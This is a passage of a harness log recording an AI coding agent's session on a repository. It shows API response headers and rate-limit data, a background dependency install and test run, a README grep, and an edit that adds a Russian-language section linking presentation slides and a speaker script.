\"00-9d00414f1bc2be2137a2bcb6d5044b19-70fd6c9d10687f32-01\",\n[2026-09-29T07:59:40.848Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:59:40.850Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:59:40.854Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:40.858Z] [STDOUT]   },\n[2026-09-29T07:59:40.861Z] [STDOUT]   durationMs: 881,\n[2026-09-29T07:59:40.867Z] [STDOUT] }\n[2026-09-29T07:59:40.869Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:59:40.871Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:59:40 GMT\",\n[2026-09-29T07:59:40.874Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:59:40.878Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:59:40.880Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:59:40.882Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:40.888Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:59:40.890Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:40.894Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:59:40.900Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:40.908Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:59:40.913Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:40.921Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:59:40.927Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:40.934Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T07:59:40.942Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:59:40.946Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:59:40.952Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:59:40.959Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:59:40.962Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:59:40.968Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:59:40.971Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:59:40.976Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:40.979Z] [STDOUT]   \"request-id\": \"req_011CfXNqnmqQdstf66hgPALo\",\n[2026-09-29T07:59:40.982Z] [STDOUT]   \"traceresponse\": \"00-9d00414f1bc2be2137a2bcb6d5044b19-70fd6c9d10687f32-01\",\n[2026-09-29T07:59:40.986Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:40.989Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:40.992Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:59:40.994Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:41.000Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:41.002Z] [STDOUT]   \"cf-ray\": \"a42973222c8f5d90-FRA\",\n[2026-09-29T07:59:41.004Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:59:41.006Z] [STDOUT] [log_86e89a] response parsed {\n[2026-09-29T07:59:41.009Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:41.012Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:41.014Z] [STDOUT]   body: X {\n[2026-09-29T07:59:41.016Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:59:41.019Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:59:41.022Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:59:41.024Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:59:41.028Z] [STDOUT]     },\n[2026-09-29T07:59:41.031Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:59:41.034Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:59:41.038Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:59:41.041Z] [STDOUT]   },\n[2026-09-29T07:59:41.043Z] [STDOUT]   durationMs: 882,\n[2026-09-29T07:59:41.048Z] [STDOUT] }\n[2026-09-29T07:59:41.275Z] [INFO] {\n[2026-09-29T07:59:41.275Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:41.275Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:41.275Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:59:41.275Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:41.275Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:41.275Z] [INFO]   \"uuid\": \"11bfe8cb-296b-4f79-968c-da6e9f8c7573\"\n[2026-09-29T07:59:41.275Z] [INFO] }\n[2026-09-29T07:59:43.132Z] [INFO] {\n[2026-09-29T07:59:43.132Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:43.132Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:43.132Z] [INFO]   \"estimated_tokens\": 270,\n[2026-09-29T07:59:43.132Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:43.132Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:43.132Z] [INFO]   \"uuid\": \"be988326-b80d-4f95-b104-f47fe5b766e3\"\n[2026-09-29T07:59:43.132Z] [INFO] }\n[2026-09-29T07:59:43.170Z] [INFO] {\n[2026-09-29T07:59:43.170Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:43.170Z] [INFO]   \"message\": {\n[2026-09-29T07:59:43.170Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:43.170Z] [INFO]     \"id\": \"msg_011CfXNqoKpnGFnJR9HkeWnd\",\n[2026-09-29T07:59:43.170Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:43.170Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:43.170Z] [INFO]     \"content\": [\n[2026-09-29T07:59:43.170Z] [INFO]       {\n[2026-09-29T07:59:43.170Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:59:43.170Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:59:43.170Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:59:43.170Z] [INFO]     ],\n[2026-09-29T07:59:43.170Z] [INFO]     \"container\": null,\n[2026-09-29T07:59:43.170Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:59:43.170Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:59:43.170Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:59:43.170Z] [INFO]     \"usage\": {\n[2026-09-29T07:59:43.170Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:59:43.170Z] [INFO]       \"cache_creation_input_tokens\": 2346,\n[2026-09-29T07:59:43.170Z] [INFO]       \"cache_read_input_tokens\": 64452,\n[2026-09-29T07:59:43.170Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:59:43.170Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:59:43.170Z] [INFO]         \"ephemeral_1h_input_tokens\": 2346\n[2026-09-29T07:59:43.170Z] [INFO]       },\n[2026-09-29T07:59:43.170Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:59:43.170Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:59:43.170Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:59:43.170Z] [INFO]     },\n[2026-09-29T07:59:43.170Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:59:43.170Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:59:43.170Z] [INFO]     \"context_management\": null\n[2026-09-29T07:59:43.170Z] [INFO]   },\n[2026-09-29T07:59:43.170Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:43.170Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:43.170Z] [INFO]   \"uuid\": \"10134cae-9f04-4869-89d7-e61ed733153f\",\n[2026-09-29T07:59:43.170Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:43.128Z\",\n[2026-09-29T07:59:43.170Z] [INFO]   \"request_id\": \"req_011CfXNqnmqQdstf66hgPALo\"\n[2026-09-29T07:59:43.170Z] [INFO] }\n[2026-09-29T07:59:43.184Z] [INFO] {\n[2026-09-29T07:59:43.184Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:43.184Z] [INFO]   \"message\": {\n[2026-09-29T07:59:43.184Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:43.184Z] [INFO]     \"id\": \"msg_011CfXNqoKpnGFnJR9HkeWnd\",\n[2026-09-29T07:59:43.184Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:43.184Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:43.184Z] [INFO]     \"content\": [\n[2026-09-29T07:59:43.184Z] [INFO]       {\n[2026-09-29T07:59:43.184Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:59:43.184Z] [INFO]         \"text\": \"`test-execution-package.sh` fails only because pinned pip dependencies aren't installed in this sandbox. It doesn't touch docs; I'll confirm by installing them. Meanwhile I'll add a README section.\"\n[2026-09-29T07:59:43.184Z] [INFO]       }\n[2026-09-29T07:59:43.184Z] [INFO]     ],\n[2026-09-29T07:59:43.184Z] [INFO]     \"container\": null,\n[2026-09-29T07:59:43.184Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:59:43.184Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:59:43.184Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:59:43.184Z] [INFO]     \"usage\": {\n[2026-09-29T07:59:43.184Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:59:43.184Z] [INFO]       \"cache_creation_input_tokens\": 2346,\n[2026-09-29T07:59:43.184Z] [INFO]       \"cache_read_input_tokens\": 64452,\n[2026-09-29T07:59:43.184Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:59:43.184Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:59:43.184Z] [INFO]         \"ephemeral_1h_input_tokens\": 2346\n[2026-09-29T07:59:43.184Z] [INFO]       },\n[2026-09-29T07:59:43.184Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:59:43.184Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:59:43.184Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:59:43.184Z] [INFO]     },\n[2026-09-29T07:59:43.184Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:59:43.184Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:59:43.184Z] [INFO]     \"context_management\": null\n[2026-09-29T07:59:43.184Z] [INFO]   },\n[2026-09-29T07:59:43.184Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:43.184Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:43.184Z] [INFO]   \"uuid\": \"0def3f8d-69f1-4790-9934-0b3c7536ad69\",\n[2026-09-29T07:59:43.184Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:43.173Z\",\n[2026-09-29T07:59:43.184Z] [INFO]   \"request_id\": \"req_011CfXNqnmqQdstf66hgPALo\"\n[2026-09-29T07:59:43.184Z] [INFO] }\n[2026-09-29T07:59:44.671Z] [INFO] {\n[2026-09-29T07:59:44.671Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:44.671Z] [INFO]   \"message\": {\n[2026-09-29T07:59:44.671Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:44.671Z] [INFO]     \"id\": \"msg_011CfXNqoKpnGFnJR9HkeWnd\",\n[2026-09-29T07:59:44.671Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:44.671Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:44.671Z] [INFO]     \"content\": [\n[2026-09-29T07:59:44.671Z] [INFO]       {\n[2026-09-29T07:59:44.671Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:59:44.671Z] [INFO]         \"id\": \"toolu_01NjeQdBtZBBmdxTkrgk8qVP\",\n[2026-09-29T07:59:44.671Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:59:44.671Z] [INFO]         \"input\": {\n[2026-09-29T07:59:44.671Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; (pip install -q -r requirements.txt >/tmp/pip.log 2>&1; bash tools/test-execution-package.sh >/tmp/tep.log 2>&1; echo \\\"exit $?\\\" >>/tmp/tep.log) & \\nsed -n 43,116p projects/ba-ai-process/README.md | grep -n 'docs\\\\|analysis\\\\|presentation'\",\n[2026-09-29T07:59:44.671Z] [INFO]           \"description\": \"Install deps in background, check README structure\"\n[2026-09-29T07:59:44.671Z] [INFO]         },\n[2026-09-29T07:59:44.671Z] [INFO]         \"caller\": {\n[2026-09-29T07:59:44.671Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:59:44.671Z] [INFO]         }\n[2026-09-29T07:59:44.671Z] [INFO]       }\n[2026-09-29T07:59:44.671Z] [INFO]     ],\n[2026-09-29T07:59:44.671Z] [INFO]     \"container\": null,\n[2026-09-29T07:59:44.671Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:59:44.671Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:59:44.671Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:59:44.671Z] [INFO]     \"usage\": {\n[2026-09-29T07:59:44.671Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:59:44.671Z] [INFO]       \"cache_creation_input_tokens\": 2346,\n[2026-09-29T07:59:44.671Z] [INFO]       \"cache_read_input_tokens\": 64452,\n[2026-09-29T07:59:44.671Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:59:44.671Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:59:44.671Z] [INFO]         \"ephemeral_1h_input_tokens\": 2346\n[2026-09-29T07:59:44.671Z] [INFO]       },\n[2026-09-29T07:59:44.671Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:59:44.671Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:59:44.671Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:59:44.671Z] [INFO]     },\n[2026-09-29T07:59:44.671Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:59:44.671Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:59:44.671Z] [INFO]     \"context_management\": null\n[2026-09-29T07:59:44.671Z] [INFO]   },\n[2026-09-29T07:59:44.671Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:44.671Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:44.671Z] [INFO]   \"uuid\": \"427ac02b-b7b0-41af-905f-4fcf2bab7ff6\",\n[2026-09-29T07:59:44.671Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:44.537Z\",\n[2026-09-29T07:59:44.671Z] [INFO]   \"request_id\": \"req_011CfXNqnmqQdstf66hgPALo\",\n[2026-09-29T07:59:44.671Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:59:44.671Z] [INFO]     \"toolu_01NjeQdBtZBBmdxTkrgk8qVP\": {\n[2026-09-29T07:59:44.671Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; (pip install -q -r requirements.txt >/tmp/pip.log 2>&1; bash tools/test-execution-package.sh >/tmp/tep.log 2>&1; echo \\\"exit $?\\\" >>/tmp/tep.log) & \\nsed -n 43,116p projects/ba-ai-process/README.md | grep -n 'docs\\\\|analysis\\\\|presentation'\",\n[2026-09-29T07:59:44.671Z] [INFO]       \"description\": \"Install deps in background, check README structure\"\n[2026-09-29T07:59:44.671Z] [INFO]     }\n[2026-09-29T07:59:44.671Z] [INFO]   }\n[2026-09-29T07:59:44.671Z] [INFO] }\n[2026-09-29T07:59:47.017Z] [INFO] {\n[2026-09-29T07:59:47.017Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:59:47.017Z] [INFO]   \"message\": {\n[2026-09-29T07:59:47.017Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:59:47.017Z] [INFO]     \"content\": [\n[2026-09-29T07:59:47.017Z] [INFO]       {\n[2026-09-29T07:59:47.017Z] [INFO]         \"tool_use_id\": \"toolu_01NjeQdBtZBBmdxTkrgk8qVP\",\n[2026-09-29T07:59:47.017Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:59:47.017Z] [INFO]         \"content\": \"37:\u0415\u0433\u043e `docs/kb/.gitkeep` \u0438 `meta-model/.gitkeep` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442 copy-time \u0432\u0445\u043e\u0434\u044b; \u043f\u0430\u043a\u0435\u0442\\n45:[`docs/rfc/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/docs/rfc),\\n52:[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md).\\n54:[RFC](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md);\\n62:[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n66:[RFC Working Document \u2192 Release Document](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md).\\n69:[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n71:[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0435\u0434\u0438\u043d\u043e\u0433\u043e Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 GigaCode CLI \u0438 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md)\",\n[2026-09-29T07:59:47.017Z] [INFO]         \"is_error\": false\n[2026-09-29T07:59:47.017Z] [INFO]       }\n[2026-09-29T07:59:47.017Z] [INFO]     ]\n[2026-09-29T07:59:47.017Z] [INFO]   },\n[2026-09-29T07:59:47.017Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:47.017Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:47.017Z] [INFO]   \"uuid\": \"ffeec7d7-2718-4a8c-8cb5-891663fdc4b4\",\n[2026-09-29T07:59:47.017Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:46.966Z\",\n[2026-09-29T07:59:47.017Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:59:47.017Z] [INFO]     \"stdout\": \"37:\u0415\u0433\u043e `docs/kb/.gitkeep` \u0438 `meta-model/.gitkeep` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442 copy-time \u0432\u0445\u043e\u0434\u044b; \u043f\u0430\u043a\u0435\u0442\\n45:[`docs/rfc/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/docs/rfc),\\n52:[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md).\\n54:[RFC](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md);\\n62:[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 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[STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:48.369Z] [STDOUT]   \"request-id\": \"req_011CfXNrL71P4oGSgdUpTeWk\",\n[2026-09-29T07:59:48.372Z] [STDOUT]   \"traceresponse\": \"00-cc91768debcac6ff080649cad69876d1-93645fd83565a724-01\",\n[2026-09-29T07:59:48.376Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:48.379Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:48.384Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:59:48.386Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:48.391Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:48.393Z] [STDOUT]   \"cf-ray\": \"a429734fff0d5d90-FRA\",\n[2026-09-29T07:59:48.397Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:59:48.403Z] [STDOUT] [log_cd59f9] response parsed {\n[2026-09-29T07:59:48.408Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:48.412Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:48.417Z] [STDOUT]   body: X {\n[2026-09-29T07:59:48.419Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:59:48.423Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:59:48.427Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:59:48.430Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:59:48.439Z] [STDOUT]     },\n[2026-09-29T07:59:48.441Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:59:48.443Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:59:48.445Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:59:48.449Z] [STDOUT]   },\n[2026-09-29T07:59:48.453Z] [STDOUT]   durationMs: 899,\n[2026-09-29T07:59:48.458Z] [STDOUT] }\n[2026-09-29T07:59:51.945Z] [INFO] {\n[2026-09-29T07:59:51.945Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:51.945Z] [INFO]   \"message\": {\n[2026-09-29T07:59:51.945Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:51.945Z] [INFO]     \"id\": \"msg_011CfXNrLfjYuEVgskscQzeq\",\n[2026-09-29T07:59:51.945Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:51.945Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:51.945Z] [INFO]     \"content\": [\n[2026-09-29T07:59:51.945Z] [INFO]       {\n[2026-09-29T07:59:51.945Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:59:51.945Z] [INFO]         \"id\": \"toolu_01MDZhx5sme2gnchYZt1SdiX\",\n[2026-09-29T07:59:51.945Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:59:51.945Z] [INFO]         \"input\": {\n[2026-09-29T07:59:51.945Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:59:51.945Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/README.md\",\n[2026-09-29T07:59:51.945Z] [INFO]           \"old_string\": \"## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\",\n[2026-09-29T07:59:51.945Z] [INFO]           \"new_string\": \"## \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\n([issue #646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)):\\n\u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u043f\u0440\u043e\u0440\u044b\u0432 \u0432 \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0435\\n\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c \u043a \u0421\u0440\u0435\u0434\u0435 4.\\n\\n- [\u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md)\\n  \u2014 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438 \u0434\u043b\u044f\\n  \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439;\\n- [\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md)\\n  \u2014 \u0442\u0435\u043a\u0441\u0442 \u043f\u043e \u0442\u0435\u043c \u0436\u0435 \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e\\n  \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\"\n[2026-09-29T07:59:51.945Z] [INFO]         },\n[2026-09-29T07:59:51.945Z] [INFO]         \"caller\": {\n[2026-09-29T07:59:51.945Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:59:51.945Z] [INFO]         }\n[2026-09-29T07:59:51.945Z] [INFO]       }\n[2026-09-29T07:59:51.945Z] [INFO]     ],\n[2026-09-29T07:59:51.945Z] [INFO]     \"container\": null,\n[2026-09-29T07:59:51.945Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:59:51.945Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:59:51.945Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:59:51.945Z] [INFO]     \"usage\": 